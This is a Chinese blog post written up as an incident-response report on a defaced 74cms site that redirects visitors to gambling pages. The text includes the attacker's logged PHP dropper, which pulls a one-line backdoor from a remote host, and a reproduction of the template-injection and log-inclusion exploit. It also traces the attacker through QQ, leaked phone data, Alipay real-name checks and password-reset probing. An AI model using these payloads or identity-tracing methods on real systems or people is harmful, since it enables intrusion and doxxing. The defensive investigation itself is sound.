写点什么

Web 安全应急响应小记

发布于: 刚刚

1.前言

今年的某月某日,系统监测到客户的一企业官网 www.******.com 遭到了网页篡改,经过人工确认将浏览器的 UA 替换为百度 UA 后访问网站,此时网站链接自动跳转至赌博类违规网站,当日上午随即受到客户的召唤,立刻赶往客户单位进行初步检查,并将相关日志文件及样本拷回做进一步分析。



2021最新整理网络安全/渗透测试/安全学习/100份src技术文档(全套视频、CTF、大厂面经、精品手册、必备工具包、路线)一>获取<一

2. 事件分析

因去到现场时 index.php 文件已经被网站管理员恢复了,但问题不大,还好这哥们留了个心眼备份了文件 index_.php,定位到被篡改的文件为首页面的 index_.php,被修改的时间为 2021/7/18 18:31:04,可看到攻击者直接替换掉了首页文件的内容。该 PHP 内容经过判断,来自浏览器各大搜索引擎的 UA 情况后将其访问跳转至特定的网站,其中


$curl=base64_decode("aHR******************W5kZXgucGhwP2hvc3Q9")经过解码后为https://yin*******.com/index.php?host=,该连接可以理解为攻击者的灰色产业流量随机生成跳转页面。




继续对其事件服务器排查,发现其被篡改的网站为小皮软件所搭建,中间件为 Apache,其数据库与 FTP 服务账号密码均为弱口令,而且服务器上共部署了 9 个网站之多。



3. 攻击分析

使用 D 盾对其所在的目录进行后门查杀,并查杀出了多个后门文件,其中最早的后门文件存在另一个网站系统的 web 目录上被上传的时间为 2019/1/11。



发生篡改的系统为服务器上的系统其目录为 r****5,该目录下的后门文件最早的时间为 2021/3/17,发生篡改的时间为 2021/7/18 号,可看到在篡改前 2021/7/17 是有新的后门文件产生的。



可看到最近的 2021/7/17 22:41:34 时有条 log 的日志文件产生,且日志内容带有恶意的后门语句。



跟进到\data\Runtime\Logs\Home目录下查看 21_07_17.log,可见 22:41:34 时 162...***的 IP 在/index.php?m=home&a=assign_resume_tpl进行了远程文件包含的操作


<?php fputs(fopen("home.php","w"),"notfound!!!<?php file_put_contents('url.php',file_get_contents(base64_decode('aHR***************GkudHh0')));?>")?>
复制代码



将其内容写入 home.php 文件并在 22:41:36 生成到了网站的根目录下。



打开 home.php 文件可见攻击者已成功将其内容写入至文件中。



其中 aHR**********************veGkudHh0 经过 base64 解码得到链接 http://******8.top/xi.txt,该内容为 php 一句话后门语句。



在‏‎22:41:39 时攻击者并使用 home.php 文件远程读取一句话后门的 TXT 文件并生成了 url.php 的后门文件,其后门内容与远端 TXT 文件内容一致。



至此,攻击者在 2021/7/18 号 18:30:31 时上传了 logo.jpg 文件其内容就是 index.php 恶意跳转的代码,并在 18:31:04 时替换掉了 index.php 达到了篡改的目的。


4. 攻击复现

查看 Application 目录下的文件,可看到该被入侵篡改网站使用的是 74cms 所搭建的,其版本为 6.0.13。



据了解小于 6.0.48 的版存在模板注入与文件包含漏洞,恰好被篡改的网站 74cms 的版本在漏洞版本的范围内,攻击者则是利用了该版本的漏洞达到的 getshell 的目的,下面将含有漏洞的版本下载至本地搭建复原攻击者漏洞利用的过程。



该漏洞位于/Application/Common/Controller/BaseController.class.php 文件的 assign_resume_tpl 函数因为过滤不严格,导致了模板注入,可以进行远程命令执行。


访问http://127.0.0.1/index.php?m=home&a=assign_resume_tpl,使用 POST 方式提交数据:```variable=1&tpl=<?php phpinfo(); ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业 id="$_GET['id']"/>````



随后到 data\Runtime\Logs\Home 目录下产生了错误的 log 日志文件,并将 phpinfo 写入到了日志文件中。



接下来就是包含日志里记录的 phpinfo 语句,POST 方式提交


variable=1&tpl=data/Runtime/Logs/Home/21_07_23.log


成功利用文件包含漏洞包含出了 phpinfo。


5. 溯源攻击者

经以上分析得知,攻击者在 17-18 号期间利用该漏洞最终生成了 url.php 的后门文件,提取出 access.log 中间件日志文件 17 到 18 号的流量,再从其中筛选出 url.php 的流量情况,共得到 45...(美国)、27...(韩国)、61...**(香港)三个 IP,目测这三个 IP 均为攻击者的代理 IP。



上述得到的攻击参数中,base64 解码得到链接 http://******8.top/xi.txt 为存放一句话的文本,其网站首页为攻击者的个人页面。



8.top 因使用的是 Cloudflare 服务商的 CND 加速无法获取到服务器真实的 IP,但在查询历史解析时 hacker.8.top 二级域名解析过 103...(香港),经访问该 IP 这是目前***.top 域名的真实 IP。



对 103...***这个 IP 进行端口探测以及目录扫描,其中根目录下的 xin.txt、xi.txt、dama.txt、123.txt 均为后门文件的文本格式可见该攻击者应该是职业的黑灰产人员了,根目录下的 config.json 则为猫池挖矿钱包地址:4AW2XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX


Pass:2021



进一步的信息收集通过对 103...历史绑定的域名反查,在 2021/07/12 时 heike*.com 解析到过该 IP。



访问 heike****.com 可看到该网站为黑客性质类论坛,目前域名解析的 IP 为 154...***,其 443 端口为黑客性质与黑产 SEO 相关网站。




回到*****8.top 这个攻击者的个人页面网站,在查看网页源码时发现其显示的头像链接https://q2.qlogo.cn/headimg_dl?dst_uin=77*******&spec=640&img_type=jpg,其源码调用的是 QQ 头像库的链接,得到 QQ 号 77*******与其 QQ 资料的头像相同。




使用大数据检索库得到其 QQ 绑定的手机号为 17*********,归属地为内蒙古锡林郭勒,运营商中国电信。



使用支付宝转账功能证实该手机号已实名,并得到某宁名字,且头像为个人自拍帅照一张,资料显示也为内蒙古地区,并且其微信也是绑定该手机号。





经过以上的溯源我们得到了基本的信息,可以确定该攻击者从事的是黑灰产的 SEO,专门通过入侵互联网上脆弱的网站植入后门、暗链、跳转劫持等以达到提高其网站的流量与权重,黑帽 SEO 的盈利模式通常是以访问量来结算的,所以就得有各大平台的流量统计插件来统计访问量,下面继续收集其信息。


访问 http://*****8.top/seo/目录在以下统计图标中得到https://www.cnzz.com/stat/website.php?web_id=128******友盟的统计 ID。




并在友盟统计登录的忘记密码功能处,输入账号(为前面域名的名)找回密码得到该账号绑定的手机号为 159********。



在 http://*****8.top/seo/tz.js 的跳转脚本中指向 http://*****8.top/seo/cps.html 页面。



访问该页面得到另一个友盟的统计 ID:https://uweb.umeng.com/v1/login.php?siteid=127x******




捕获前面篡改跳转到 https://yin*****.com 违规网站的 js 文件,得到到百度统计的 ID:https://hm.baidu.com/hm.js?fe000000000000000000000000000同时也得到 yin*****.html 页面该名称对应友盟统计 ID:12***的用户名 yin



在百度统计的密码找回功能中,经模糊测试同源名称其中用户名为****888、****8888、****88888 均存在注册。



在源代码尾部得到其 51la 的 SDKid:JNT**********


6.总结

经过以上分析,攻击者在 2021/7/17 时通过骑士 cms 的注入与文件包含漏洞写入了 url.php 一句话后门文件,并上传 logo.jpg 文件替换掉了 index.php 网站首页的内容使得将网站跳转至赌博网站。


修复建议:


该网站被多次篡改并留存其他攻击者的后门文件时间久远,建议对服务器整个磁盘进行 webshell 后门查杀。网站所使用的 cms 框架版本过低存在高危漏洞服务器上的数据库与 FTP 服务均为弱口令,建议增强口令的复杂度,8 位字符以上且具有大小写组合。

7. 小 Tisp

类似于这类的页面篡改事件,当我们去现场后该如何开展相应的工作呢。


1.到达客户现场后第一时间告知网站管理人员请勿对被篡改文件进行删除或修改,本次事件的网站管理员就马上把重要证据文件给修改恢复了,但不过还好这位小哥备份了下来,建议去现场前电话跟客户电话沟通好能不动的就不动,最好是直接拔网线断网,留好证据方便后面溯源的工作。


2.到现场后跟网站管理人员,发生篡改后有没有自己进行巡检自己发现什么异常之类的,自主发现的话是什么时候发现的呢,确定好被篡改文件的首次修改时间,对下面核对日志溯源的工作至关重要。


3.通过判断确认该篡改为内容篡改还是跳转劫持类型的,询问网站管理员当前 web 文件存放的位置除了被篡改的网站还有没有其他系统的网站,都开了那些端口之类的。


4.看当前环境下的拓扑图,看是否有记录流量设备的日志,如果有此次篡改的攻击有没有产生什么相应的告警之类的等等。


5.很多单位的等保系统现在也都部署了网页防篡改系统,但也屡屡发生被篡改的事件,以往的经验来看,部署了还发生篡改的要么就是防护的目录不到位,要么就是上防护之前就已经遗留有后门文件了,还有就是程序员在更新代码时把防护关了后就忘了再次开起来了,所以也要有必要的问一下有没有进行一个查杀后门文件的周期工作,还有防护了那些目录或者页面等。

用户头像

我是一名网络安全渗透师 2021.06.18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
Web安全应急响应小记